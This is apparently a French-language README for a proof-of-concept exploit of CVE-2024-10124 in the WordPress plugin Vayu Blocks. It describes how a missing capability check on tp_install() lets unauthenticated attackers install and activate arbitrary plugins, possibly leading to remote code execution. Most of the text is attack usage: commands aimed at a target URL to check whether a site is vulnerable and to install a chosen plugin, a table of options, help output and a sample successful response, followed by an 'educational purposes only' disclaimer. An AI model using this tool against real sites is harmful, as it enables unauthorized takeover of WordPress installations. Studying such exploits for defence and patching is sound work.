nxploited/cve-2024-10124-pocExploit de preuve de concept pour CVE-2024-10124 dans le plugin WordPress Vayu Blocks, permettant l'installation et l'activation non autorisées de plugins afin de potentiellement parvenir à une exécution de code à distance.
Le plugin Vayu Blocks – Gutenberg Blocks for WordPress & WooCommerce pour WordPress est vulnérable à l'installation et à l'activation non autorisées de plugins arbitraires en raison d'un contrôle de capacité manquant sur la fonction tp_install() dans toutes les versions jusqu'à la 1.1.1 incluse. Cela permet à des attaquants non authentifiés d'installer et d'activer des plugins arbitraires, ce qui peut être exploité pour exécuter du code à distance si un autre plugin vulnérable est installé et activé. Cette vulnérabilité a été partiellement corrigée dans la version 1.1.1.
python CVE-2024-10124.py -u http://192.168.100.74/wordpress --check-version
Ceci vérifie la version du plugin vayu-blocks pour déterminer si le site est vulnérable.
python CVE-2024-10124.py -u http://192.168.100.74/wordpress
Ceci installera le plugin par défaut hello-dolly
python CVE-2024-10124.py -u http://192.168.100.74/wordpress -p plugin_name
Ceci installera le plugin plugin_name sur le site cible.
| 🔍 | Command | Description | Example |
|---|---|---|---|
| 🌐 | -u or --url | Spécifiez l'URL cible du site WordPress. | -u http://192.168.100.74/wordpress |
| 🔒 | --check-version | Vérifiez si le site est vulnérable en fonction de la version. | -u http://192.168.100.74/wordpress --check-version |
| ⚙️ | -p or --plugin | Spécifiez le nom du plugin (par défaut hello-dolly). | -u http://192.168.100.74/wordpress -p plugin_name |
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL (e.g., http://192.168.100.74/wordpress)
-p PLUGIN, --plugin PLUGIN
Plugin name (default: hello-dolly)
--check-version Check if the site is vulnerable based on plugin version
Response Status Code: 200
The plugin has been successfully uploaded and activated.
Response Content: "http:\/\/192.168.100.74\/wordpress"
Ce script est fourni à des fins éducatives uniquement. L'auteur n'est pas responsable des dommages causés par une mauvaise utilisation de ce script.